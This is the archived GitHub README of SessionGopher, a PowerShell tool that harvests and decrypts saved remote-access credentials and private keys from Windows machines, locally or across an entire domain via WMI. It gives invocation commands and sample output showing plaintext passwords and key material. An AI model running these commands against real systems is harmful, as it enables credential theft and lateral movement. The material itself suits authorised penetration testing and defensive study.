# GitHub - Arvanaghi/SessionGopher: SessionGopher is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally.

By Arvanaghi

Archived: 2026-04-05 13:18:07 UTC



---

### Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP

SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals.

SessionGopher works by querying the `HKEY_USERS` hive for all users who have logged onto a domain-joined box at some point. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. It automatically extracts and decrypts WinSCP, FileZilla, and SuperPuTTY saved passwords. When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files.

## Usage

-**Thorough**: searches all drives for PuTTY private key (.ppk), Remote Desktop Connecton (.rdp), and RSA (.sdtid) files.

**-o**: outputs the data to a folder of .csv files

**-iL**: provide a file with a list of hosts to run SessionGopher against, each host separated by a newline. Provide the path to the file after `-iL`.

**-AllDomain**: SessionGopher will query Active Directory for all domain-joined systems and run against all of them.

-**Target**: a specific host you want to target. Provide the target host after `-Target`.

### To run locally

```
 . .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
```

### To run remotely (-iL, -AllDomain, -Target)

To run remotely, you can either provide a privileged account's credentials for the remote system using the `-u` and `-p` flags. If you omit the `-u` and `-p` flags, SessionGopher will run under the security context of the account from which you run the script (e.g. if you are already logged in as DA account, or logged in as an account that is local admin for the target system, or doing a *runas* with either of the two, you won't need to supply credentials).

```
 Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```

or

```
 Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
```

or

```
 Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
```

Any of these commands can be coupled with `-Thorough`, but note that it takes significantly longer as it queries the entire remote filesystem. It is not recommended you run in `-Thorough` mode when querying more than a small set of systems at a time.

Running remotely by adding `-o` (print to CSV) works nicely, as SessionGopher will accumulate all sessions it finds and tell you exactly where it found that saved session.

### To write to CSV (whether remote or local)

To have SessionGopher create a folder to neatly contain .csvs of the extracted sessions:

```
 Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
```

... that's it.

Accessing the saved session information for every user in `HKEY_USERS` requires local admin privileges. Without local admin privileges, you will still receive saved session information for that user.

### Sample output (-Thorough):

```
 [+] Digging on Win7-Arvanaghi ...
WinSCP Sessions

Session  : admin-anthony@198.273.212.334
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd

Session  : Freddy@204.332.455.213
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892

FileZilla Sessions

Name     : BarrySite
Password : imr34llytheFl@sh
Host     : 10.8.30.21
User     : BarryAllen
Protocol : Use FTP over TLS if available
Account  : BarryAllenAccount
Port     : 22

PuTTY Sessions

Session  : PointOfSaleTerminal
Hostname : 10.8.0.10

PuTTY Private Key Files (.ppk)

Path                   : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol               : ssh-rsa
Comment                : rsa-key-20170116
Private Key Encryption : none
Private Key            : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RC
                         nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
```

```
Private MAC            : b7e47819fee39a95eb374a97f939c3c868f880de


Microsoft Remote Desktop (RDP) Sessions

Hostname : us.greatsite.com
Username : Domain\tester

Microsoft Remote Desktop .rdp Files

Path                    : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname                : dc01.corp.hackerplaypen.com
Gateway                 : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session  : Does not connect to admin session on remote host
```

---

Written by Brandon Arvanaghi (@arvanaghi)

This code was initially developed at FireEye. However, any subsequent update is done by the author outside of FireEye.

---